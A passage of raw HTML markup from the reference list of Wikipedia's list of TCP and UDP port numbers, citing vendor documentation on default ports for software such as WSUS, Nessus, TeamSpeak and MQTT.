href=\"#cite_ref-adobe-help-cf10-admin_307-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://help.adobe.com/en_US/ColdFusion/10.0/Admin/coldfusion_10_admin.pdf\"><i>Configuring and Administering Adobe ColdFusion 10</i></a> <span class=\"cs1-format\">(PDF)</span>. <a href=\"/wiki/Adobe_Systems\" class=\"mw-redirect\" title=\"Adobe Systems\">Adobe</a> (published 2012-09-07). n.d. pp.&#160;2, 5, 29, 95, 150–151. <a rel=\"nofollow\" class=\"external text\" href=\"https://wayback.archive-it.org/all/20130202175437/http://help.adobe.com/en_US/ColdFusion/10.0/Admin/coldfusion_10_admin.pdf\">Archived</a> <span class=\"cs1-format\">(PDF)</span> from the original on 2013-02-02<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-24</span></span>. <q>...&#160;The ColdFusion server configuration is built on top of Tomcat, also called the built-in web server.&#160;...&#160;By default in the server configuration, the built-in web server listens on port 8500.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Configuring+and+Administering+Adobe+ColdFusion+10&amp;rft.pages=2%2C+5%2C+29%2C+95%2C+150-151&amp;rft.pub=Adobe&amp;rft_id=http%3A%2F%2Fhelp.adobe.com%2Fen_US%2FColdFusion%2F10.0%2FAdmin%2Fcoldfusion_10_admin.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-msft-tn-bb693717-308\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-msft-tn-bb693717_308-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-msft-tn-bb693717_308-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/bb693717.aspx\">\"How to Configure a Firewall for Software Updates\"</a>. <i><a href=\"/wiki/Microsoft_TechNet\" title=\"Microsoft TechNet\">Microsoft TechNet</a></i>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161024231138/https://technet.microsoft.com/en-us/library/bb693717.aspx\">Archived</a> from the original on 2016-10-24<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-24</span></span>. <q>...&#160;By default, a WSUS server that is configured for the default Web site uses port 80 for HTTP and port 443 for HTTPS. By default, the WSUS server uses port 8530 for HTTP and port 8531 for HTTPS if it is using the WSUS custom Web site.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Microsoft+TechNet&amp;rft.atitle=How+to+Configure+a+Firewall+for+Software+Updates&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fbb693717.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-msft-tn-hh852346-309\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-msft-tn-hh852346_309-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-msft-tn-hh852346_309-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/hh852346.aspx\">\"Step 3: Configure WSUS\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/hh852340.aspx\"><i>Deploy Windows Server Update Services in Your Organization</i></a>. <i><a href=\"/wiki/Microsoft_TechNet\" title=\"Microsoft TechNet\">Microsoft TechNet</a></i>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161024231054/https://technet.microsoft.com/en-us/library/hh852346.aspx\">Archived</a> from the original on 2016-10-24<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-24</span></span>. <q>...&#160;WSUS upstream and downstream servers will synchronize on the port configured by the WSUS Administrator. By default, these ports are configured as follows: <div><ul><li>On WSUS 3.2 and earlier, port 80 for HTTP and 443 for HTTPS</li><li>On WSUS 6.2 and later (at least Windows Server 2012), port 8530 for HTTP and 8531 for HTTPS</li></ul></div>&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Step+3%3A+Configure+WSUS&amp;rft.btitle=Deploy+Windows+Server+Update+Services+in+Your+Organization&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fhh852346.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-SymantecDLP_OCREngine-310\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-SymantecDLP_OCREngine_310-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://help.symantec.com/cs/DLP15.0/DLP/v122760196_v120691346/Creating-an-OCR-configuration?locale=EN_US\">\"Creating an OCR configuration\"</a>. <i>help.symantec.com</i>. Symantec<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">28 July</span> 2021</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=help.symantec.com&amp;rft.atitle=Creating+an+OCR+configuration&amp;rft_id=https%3A%2F%2Fhelp.symantec.com%2Fcs%2FDLP15.0%2FDLP%2Fv122760196_v120691346%2FCreating-an-OCR-configuration%3Flocale%3DEN_US&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-flossmanuals-bypasscensor-freegate-311\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-flossmanuals-bypasscensor-freegate_311-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFOhlingVarley_JamiesonRastapopoulosSchoen2011\" class=\"citation book cs1\">Ohling, Freerk; Varley Jamieson, Helen; Rastapopoulos, Roberto; Schoen, Seth; booki;  et&#160;al. (2011). <a rel=\"nofollow\" class=\"external text\" href=\"https://flossmanuals.net/bypassing-censorship/ch022_freegate/\">\"Freegate\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://flossmanuals.net/bypassing-censorship/\"><i>How to Bypass Internet Censorship</i></a>. <a href=\"/wiki/FLOSS_Manuals\" title=\"FLOSS Manuals\">FLOSS Manuals</a>. 22. <a rel=\"nofollow\" class=\"external text\" href=\"https://archive.today/20161024235132/https://flossmanuals.net/bypassing-censorship/ch022_freegate/\">Archived</a> from the original on 2016-10-24<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-24</span></span>. <q>...&#160;Freegate is a proxy tool&#160;...&#160;If you want to use another application with Freegate&#160;...&#160;you will have to configure them to use Freegate as a proxy server.&#160;...&#160;the port is 8580.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Freegate&amp;rft.btitle=How+to+Bypass+Internet+Censorship&amp;rft.pages=22&amp;rft.pub=FLOSS+Manuals&amp;rft.date=2011&amp;rft.aulast=Ohling&amp;rft.aufirst=Freerk&amp;rft.au=Varley+Jamieson%2C+Helen&amp;rft.au=Rastapopoulos%2C+Roberto&amp;rft.au=Schoen%2C+Seth&amp;rft.au=booki&amp;rft_id=https%3A%2F%2Fflossmanuals.net%2Fbypassing-censorship%2Fch022_freegate%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ibm-support-lnt851-planning-net-312\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ibm-support-lnt851-planning-net_312-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.ibm.com/support/knowledgecenter/SSYRPW_8.5.1/com.ibm.help.lnt851.doc/Plan_network_configuration.html\">\"Planning your network topology\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://www.ibm.com/support/knowledgecenter/SSYRPW_8.5.1\"><i>Lotus Notes Traveler 8.5.1 documentation</i></a>. <a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> (published 2010-07-01). n.d<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Planning+your+network+topology&amp;rft.btitle=Lotus+Notes+Traveler+8.5.1+documentation&amp;rft.pub=IBM&amp;rft_id=https%3A%2F%2Fwww.ibm.com%2Fsupport%2Fknowledgecenter%2FSSYRPW_8.5.1%2Fcom.ibm.help.lnt851.doc%2FPlan_network_configuration.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ultrafractal-313\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ultrafractal_313-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ultrafractal.com/help/network/networkcalculations.html\">\"Network calculations\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://www.ultrafractal.com/help/\"><i>Ultra Fractal manual</i></a>. Frederik Slijkerman. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://archive.today/20161025005802/http://www.ultrafractal.com/help/index.html?/help/network/networkcalculations.html\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>. <q>...&#160;Ultra Fractal enables you to distribute calculations over multiple computers connected with a network.&#160;...&#160;Ultra Fractal uses the TCP/IP protocol for network calculations,&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Network+calculations&amp;rft.btitle=Ultra+Fractal+manual&amp;rft.pub=Frederik+Slijkerman&amp;rft_id=http%3A%2F%2Fwww.ultrafractal.com%2Fhelp%2Fnetwork%2Fnetworkcalculations.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ultrafractal-help-network-servers-314\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ultrafractal-help-network-servers_314-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ultrafractal.com/help/network/networkservers.html\">\"Network servers\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://www.ultrafractal.com/help/\"><i>Ultra Fractal manual</i></a>. Frederik Slijkerman. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://archive.today/20161025005452/http://www.ultrafractal.com/help/index.html?/help/network/networkservers.html\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>. <q>...&#160;To be able to connect to a remote computer, Ultra Fractal must be running in server mode&#160;...&#160;By default, the server listens on port 8691 for connections&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Network+servers&amp;rft.btitle=Ultra+Fractal+manual&amp;rft.pub=Frederik+Slijkerman&amp;rft_id=http%3A%2F%2Fwww.ultrafractal.com%2Fhelp%2Fnetwork%2Fnetworkservers.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-315\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-315\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/internetarchive/dweb-transports#implementation-on-gun\">\"Internet Archive dWeb Transport\"</a>. <i>GitHub</i>. 24 March 2021.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=GitHub&amp;rft.atitle=Internet+Archive+dWeb+Transport&amp;rft.date=2021-03-24&amp;rft_id=https%3A%2F%2Fgithub.com%2Finternetarchive%2Fdweb-transports%23implementation-on-gun&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-316\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-316\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/amark/gun/commit/d65e2c3f880e08fd8e9b4742716adb9685a3a087\">\"CHANGE DEFAULT PORT TO 8765 · amark/gun@d65e2c3\"</a>. <i>GitHub</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=GitHub&amp;rft.atitle=CHANGE+DEFAULT+PORT+TO+8765+%C2%B7+amark%2Fgun%40d65e2c3&amp;rft_id=https%3A%2F%2Fgithub.com%2Famark%2Fgun%2Fcommit%2Fd65e2c3f880e08fd8e9b4742716adb9685a3a087&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-tsusa-kb-ts2-ports-317\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-tsusa-kb-ts2-ports_317-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025011723/https://support.teamspeakusa.com/index.php?%2FKnowledgebase%2FArticle%2FView%2F79%2F19%2Fwhich-ports-does-the-teamspeak-2-server-use\">\"Which ports does the TeamSpeak 2 server use?\"</a>. Support. <i>TeamSpeak</i>. n.d. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://support.teamspeakusa.com/index.php?%2FKnowledgebase%2FArticle%2FView%2F79%2F19%2Fwhich-ports-does-the-teamspeak-2-server-use\">the original</a> on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=TeamSpeak&amp;rft.atitle=Which+ports+does+the+TeamSpeak+2+server+use%3F&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Fsupport.teamspeakusa.com%2Findex.php%3F%252FKnowledgebase%252FArticle%252FView%252F79%252F19%252Fwhich-ports-does-the-teamspeak-2-server-use&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-tenable-docs-nessus68-usermanual-318\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-tenable-docs-nessus68-usermanual_318-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.tenable.com/nessus/6_8/Content/Resources/PDF/Nessus_6_8.pdf\"><i>Nessus 6.8 User Guide</i></a> <span class=\"cs1-format\">(PDF)</span>. <a href=\"/wiki/Tenable_Network_Security\" class=\"mw-redirect\" title=\"Tenable Network Security\">Tenable Network Security</a> (published 2017-06-27). n.d. p.&#160;28. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170706030752/https://docs.tenable.com/nessus/6_8/Content/Resources/PDF/Nessus_6_8.pdf\">Archived</a> <span class=\"cs1-format\">(PDF)</span> from the original on 2017-07-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-07-06</span></span>. <q>...&#160;The Nessus UI uses port 8834.&#160;...&#160;By default, Nessus is installed and managed using HTTPS and SSL, uses port 8834&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Nessus+6.8+User+Guide&amp;rft.pages=28&amp;rft.pub=Tenable+Network+Security&amp;rft_id=https%3A%2F%2Fdocs.tenable.com%2Fnessus%2F6_8%2FContent%2FResources%2FPDF%2FNessus_6_8.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-computerworld-article-2525727-319\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-computerworld-article-2525727_319-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFVaughan-Nichols2009\" class=\"citation web cs1\">Vaughan-Nichols, Steven J. (2009-06-18). <a rel=\"nofollow\" class=\"external text\" href=\"http://www.computerworld.com/article/2525727/networking/first-look--opera-unite-alpha-lets-you-share-files----but-is-it-safe-.html\">\"First look: Opera Unite alpha lets you share files -- but is it safe?\"</a>. Networking. <i><a href=\"/wiki/Computerworld\" title=\"Computerworld\">Computerworld</a></i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025025341/http://www.computerworld.com/article/2525727/networking/first-look--opera-unite-alpha-lets-you-share-files----but-is-it-safe-.html\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>. <q>...&#160;Unite is both a Web browser and a Web server. With the included JavaScript applets,&#160;...&#160;To make this happen, your PC and its Internet connection have to have port 8840 open.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Computerworld&amp;rft.atitle=First+look%3A+Opera+Unite+alpha+lets+you+share+files+--+but+is+it+safe%3F&amp;rft.date=2009-06-18&amp;rft.aulast=Vaughan-Nichols&amp;rft.aufirst=Steven+J.&amp;rft_id=http%3A%2F%2Fwww.computerworld.com%2Farticle%2F2525727%2Fnetworking%2Ffirst-look--opera-unite-alpha-lets-you-share-files----but-is-it-safe-.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-lifehacker-5472050-320\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-lifehacker-5472050_320-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFThe_How-To_Geek2010\" class=\"citation web cs1\">The How-To Geek (2010-02-15). <a rel=\"nofollow\" class=\"external text\" href=\"https://lifehacker.com/5472050/whats-the-easiest-way-to-share-large-files-and-media-with-friends\">\"How to Share Large Files Over the Internet with Opera Unite\"</a>. <i><a href=\"/wiki/Lifehacker\" title=\"Lifehacker\">Lifehacker</a></i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025030322/http://lifehacker.com/5472050/whats-the-easiest-way-to-share-large-files-and-media-with-friends\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>. <q>...&#160;Unite automatically hooks into your router using uPnP to dynamically open port 8840, but it can also use a Unite proxy server when you're behind a more restrictive firewall&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Lifehacker&amp;rft.atitle=How+to+Share+Large+Files+Over+the+Internet+with+Opera+Unite&amp;rft.date=2010-02-15&amp;rft.au=The+How-To+Geek&amp;rft_id=http%3A%2F%2Flifehacker.com%2F5472050%2Fwhats-the-easiest-way-to-share-large-files-and-media-with-friends&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ccdb-howto.txt-321\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ccdb-howto.txt_321-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.robots.ox.ac.uk/~spline/cddb-howto.txt\">\"Use of CDDB service in your software\"</a>. <a href=\"/wiki/Gracenote\" title=\"Gracenote\">CDDB Inc.</a> 1998-09-28. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025030916/http://www.robots.ox.ac.uk/~spline/cddb-howto.txt\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span> &#8211; via <a href=\"/wiki/Department_of_Engineering_Science,_University_of_Oxford\" title=\"Department of Engineering Science, University of Oxford\">Department of Engineering Science, University of Oxford</a>. <q>...&#160;CDDB (CD database) is an information database containing artist, disc title, track titles, and other information for digital audio compact discs.&#160;...&#160;There are two forms of remote access to CDDB servers, CDDBP and HTTP. All current CDDB servers answer either at IP port 888 or 8880 for CDDBP and port 80 for HTTP access.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Use+of+CDDB+service+in+your+software&amp;rft.pub=CDDB+Inc.&amp;rft.date=1998-09-28&amp;rft_id=http%3A%2F%2Fwww.robots.ox.ac.uk%2F~spline%2Fcddb-howto.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ibm-support-websphere-express8-portnumber-322\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ibm-support-websphere-express8-portnumber_322-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.ibm.com/support/knowledgecenter/SS7JFU_8.0.0/com.ibm.websphere.migration.express.iseries.doc/info/iseriesexp/ae/rmig_portnumber.html\">\"Port number settings in WebSphere Application Server versions\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://www.ibm.com/support/knowledgecenter/SS7JFU_8.0.0\"><i>WebSphere Application Server - Express, Version 8.0 documentation</i></a>. <a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> (published 2016-07-25). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025035406/https://www.ibm.com/support/knowledgecenter/SS7JFU_8.0.0/com.ibm.websphere.migration.express.iseries.doc/info/iseriesexp/ae/rmig_portnumber.html\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Port+number+settings+in+WebSphere+Application+Server+versions&amp;rft.btitle=WebSphere+Application+Server+-+Express%2C+Version+8.0+documentation&amp;rft.pub=IBM&amp;rft_id=https%3A%2F%2Fwww.ibm.com%2Fsupport%2Fknowledgecenter%2FSS7JFU_8.0.0%2Fcom.ibm.websphere.migration.express.iseries.doc%2Finfo%2Fiseriesexp%2Fae%2Frmig_portnumber.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-mqtt-faq-323\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-mqtt-faq_323-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://mqtt.org/faq\">\"Frequently Asked Questions\"</a>. <i>MQTT</i>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025032638/http://mqtt.org/faq\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>. <q>...&#160;TCP/IP port 1883 is reserved with IANA for use with MQTT. TCP/IP port 8883 is also registered, for using MQTT over SSL.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=MQTT&amp;rft.atitle=Frequently+Asked+Questions&amp;rft.chron=n.d.&amp;rft_id=http%3A%2F%2Fmqtt.org%2Ffaq&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-oasisopen-docs-mqtt-v3.1.1-spec-324\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-oasisopen-docs-mqtt-v3.1.1-spec_324-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBanksGupta2015\" class=\"citation book cs1\">Banks, Andrew; Gupta, Guhan, eds. (2015-12-10). <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html#_Network_Connections\">\"Network Connections\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html\"><i>MQTT Version 3.1.1</i></a> (Plus Errata 01&#160;ed.). <a href=\"/wiki/OASIS_(organization)\" title=\"OASIS (organization)\">OASIS</a>. 4.2. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025033743/https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>. <q>...&#160;TCP ports 8883 and 1883 are registered with IANA for MQTT TLS and non TLS communication respectively.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Network+Connections&amp;rft.btitle=MQTT+Version+3.1.1&amp;rft.pages=4.2&amp;rft.edition=Plus+Errata+01&amp;rft.pub=OASIS&amp;rft.date=2015-12-10&amp;rft_id=https%3A%2F%2Fdocs.oasis-open.org%2Fmqtt%2Fmqtt%2Fv3.1.1%2Fmqtt-v3.1.1.html%23_Network_Connections&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ipython-doc-3-notebook-server-325\"><span class=\"mw-cite-backlink\"><b><a 